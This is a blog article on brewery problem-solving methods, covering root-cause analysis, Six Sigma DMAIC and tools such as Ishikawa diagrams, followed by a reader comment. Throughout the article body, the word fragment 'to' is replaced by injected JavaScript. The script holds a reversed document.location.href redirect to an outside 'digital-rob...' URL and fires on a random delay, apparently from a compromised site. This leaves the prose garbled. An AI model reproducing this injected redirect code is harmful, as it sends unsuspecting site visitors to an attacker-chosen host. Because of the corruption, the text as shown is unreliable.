Problems are an everyday fact of life in breweries. Some demand urgent action and the resources required tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to achieve instant results.

A single brewery may encounter hundreds or sometimes even thousands of problems each year.

Many of these are destined tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be repeated across other breweries within the brewery’s parent group costing a huge amount of money over the long term.

Overview of brewery problem solving cycle

  • Firstly an incident (a single incidence of a problem) is identified from its symptobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toms. Our aim is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to define what’s gone wrong (the ‘fault’, ‘problem situation’ or ‘non-conformance’) and capture the what, when and where relating tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the incident.
  • Next we look tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to define the problem. At this point we want tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to understand why the problem is important (including understanding the financial and non-financial implications of the problem), have a clear idea what is and what’s not wrong, understand how urgently we need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to find a solution tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the problem, and understand potential root causes. From the root causes we’ll develop an appreciation of any co-symptobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toms that we might expect tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to see.
  • Next data is collected tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to help discriminate different possible root causes of the problems.

  • The data are then critically evaluated tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to allow as many possible root causes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be eliminated.  Further data or experimental trials may be needed tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to reduce numerous possible root causes tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to one possibility and thus diagnose the true root cause. Where we are trying tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to get tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to have the who, what, when, and where of the problem – we need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identify the ‘point of cause‘ (the ‘smoking gun’).
  • Having identified the root cause the next step is tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to identify a range of possible solutions that can be used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eliminate the root cause.
  • Various tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools can then be applied tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to analyse the strengths, weaknesses and inherent risks in implementation of the different potential solutions.

  • On-going monitobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}toring and reporting are used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ensure that no re-occurrence of the problem takes place. The problem solving process is never finished until we are sure that the problem has gone away and is unlikely tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ever appear again. Unfortunately, this key step is often missed out from many brewery problem-solving initiatives.

This overall problem solving methodology can be used in different formats. For minor problems which need tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be dealt with quickly (for example by implementation of a workaround) the process shown opposite is often effective.

This type of problem solving process can be carried out either by an individual or by a small team comprising no more than two or three people. Some brewing companies use problem solving tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools, such as ‘5 whys’ as an aid tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to such short-form problem-solving processes.

Dealing with more complex problems

Brewery problems are often open problems, that is they have more than one contributobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tory cause (and therefore multiple potential solutions), rather than closed problems, which have only one cause (and therefore one solution). Thus many useful but nevertheless simplistic methods which are highly valued in other industries are of less use in the complex mix of biology, chemistry, physics, engineering and psychology which is the brewing process.

The diagram below shows the methodology which we have been using within brewing companies for more than a decade with good results. We have applied this method tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to solving a variety of process problems, including beer off-flavour problems, beer taint problems, beer haze problems, beer foam problems, beer flavour stability problems, brewhouse extract yield problems, yeast viability problems, attenuation problems, filtration throughput problems and packaging efficiency problems.

In our experience methods like this are best deployed with teams of 4 – 10 people. At the tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}top end of the problem solving ‘tree’ are various Six Sigma techniques, including DMAIC (which stands for Define – Measure – Analyse – Improve – Control). Such techniques are ideal for application tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to larger infrastructural problems within brewing companies.

These problem solving frameworks come tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to life through the use of specific tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools, including Force-Field Analysis, Ishikawa Diagrams, Inverse Brainstobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torming, De Bono’s Six Thinking Hats and Failure Mode and Effects Analysis.

Sharing of information about problems in breweries and how they have been resolved has histobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}torically been inadequate. To an extent this has resulted from a lack of tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tools tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to facilitate sharing of information about brewery problems and solutions, rather than from a brewery’s resistance tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to making their problems more widely known within their peer group.

A further obstacle tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to efficient problem solving has been availability of information, know-how and expertise. By way of example, consider that more than 350 individual faults can occur in packaged beer.

Each of these faults may have, on average, 10 possible root causes. For each possible root causes there might be, on average, 20 or more viable solutions which could be used tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to eliminate the problem.

It is little wonder that no single member of staff is capable of dealing with all potential problems in an efficient way.

Thankfully, the reality is that there are only so many ways for us tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to damage product quality, product safety, or process efficiency in a brewery so the picture is not quite as complex as I have painted it. Nevertheless it is a knowledge management task which brewers underestimate at their peril.

Solving complex problems in the brewery

To understand the importance of efficient problem management in a modern brewery it is useful tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to consider the typical numbers of problems that arise in a given time in relation tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to bright beer and packaged beer. Benchmarking studies carried out with five breweries (average size of about 2M hl per year) representing three brewery groups have revealed a preference for categorizing problems with respect tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to accountability. This can be a useful thing tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to do. It helps spread the load. But it carries a risk. Most big problems in breweries start out as little ones. The high SO2 concentration that suddenly stobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tops you being able tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to sell your product without breaking the law might have started out several months ago as a very small problem in the raking of your lauter bed.

In our company we spend a lot of our time dealing with ‘fires’ that have got out of hand in breweries. All of them start as little ‘sparks’ that either no-one noticed, or were thought tobor-latigid//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be unimportant.

One thought on “Systematic problem solving in the brewery

  1. Magic article – Breweries often forget to ad a financial value to their problems – this usually focuses the mind.
    Problem solving should also be seen as an opportunity to learn plant and process – this process will remove often “assumed” truths.

    Problem solving encourages lateral thought – this process helps identify potential future issues – this is massively valuable – and fun!
